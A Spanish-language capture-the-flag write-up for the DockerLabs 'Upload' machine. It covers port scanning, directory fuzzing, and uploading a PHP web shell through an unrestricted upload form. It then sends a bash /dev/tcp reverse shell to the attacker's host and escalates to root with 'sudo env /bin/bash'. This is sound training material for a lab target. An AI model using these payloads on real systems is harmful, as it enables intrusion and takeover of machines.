Upload
Despliegue del Lab
Descargamos la máquina Upload desde la plataforma de dockerlabs.es.

Descomprimimos el archivo upload.zip
.
unzip upload.zip
Para desplegar la máquina, ejecutamos el siguiente comando:
sudo bash auto_deploy.sh upload.tar

Reconocimiento
Para ver si la máquina está encendida y comprobar que no tengamos ningún problema de conectividad, lanzamos un ping.
ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.293 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.293/0.293/0.293/0.000 ms
Enviamos un paquete y recibimos el paquete de vuelta, por lo que la máquina está activa. Además, podemos deducir que se trata de una máquina Linux por el valor del TTL (Time To Live).
Para ganar acceso al sistema, necesitamos encontrar alguna vulnerabilidad en los servicios que están corriendo en la máquina. Por eso, lanzamos un escaneo de puertos para descubrir cuáles están abiertos.
$sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 172.17.0.2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 16:50 -03
Initiating ARP Ping Scan at 16:50
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 16:50, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:50
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 16:50, 2.90s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000026s latency).
Scanned at 2024-05-30 16:50:33 -03 for 3s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
El único puerto abierto es el 80. Debe haber un servicio web.
Ahora lanzamos un escaneo más exhaustivo que nos permita obtener un poco más de información sobre el servicio, incluyendo su versión.
$nmap -p80 -sCV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 16:51 -03
Nmap scan report for 172.17.0.2
Host is up (0.00037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
Accedemos a la página web a través del navegador y, tal como nos lo había adelantado el http-title
en el escaneo de nmap
, nos encontramos con un campo de subida de archivos.

La primera aproximación es subir un archivo php malicioso. Primero vamos a intentar subir uno de prueba para ver si efectivamente nos permite subirlo o si existe alguna restricción con respecto a la extensión del archivo.
Creamos un archivo prueba.txt
con el siguiente contenido y lo subimos.
<?php echo "Hola"; ?>

El archivo se ha subido exitosamente, por lo que el siguiente paso será averiguar en qué ruta se encuentran almacenados dichos archivos. Para hallarla, aplicamos fuzzing con la herramienta ffuf
.
$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -ic
Encontramos la ruta /uploads
.

Se trata de la ruta que estábamos buscando. Podemos ver que allí se encuentra el archivo prueba.php
que acabamos de subir.

Además, podemos comprobar que la web interpreta código php.

Intrusión
Ya estamos listos para subir un archivo php malicioso.
Creamos una web shell sencilla:
<?php system($_GET["cmd"]); ?>
La idea es llegar a ejecutar comandos en la máquina que vamos a controlar a través del parámetro cmd desde la propia URL.
Subimos el archivo cmd.php
:

Ejecutamos el comando whoami
a través de la web shell y comprobamos que tenemos ejecución remota de comandos como el usuario www-data
.

Para ganar acceso al sistema:
Nos ponemos en escucha por el puerto 443:
sudo nc -nlvp 443
Pasamos el siguiente comando como valor del parámetro cmd:
bash -c 'bash -i >%26 /dev/tcp/192.168.229.128/443 0>%261'
⚠️ %26 equivale al & en URL Encode.
Deberíamos recibir una consola como
www-data
:

Escalada de privilegios
Buscamos por privilegios a nivel de sudo con sudo -l
.

Podemos ejecutar como root el comando /usr/bin/env
.
Existe una forma de abusar de este comando para convertirnos en root de la siguiente manera:
sudo env /bin/bash

Esta forma de escalar privilegios a través de env está documentada en GTFOBins.
Last updated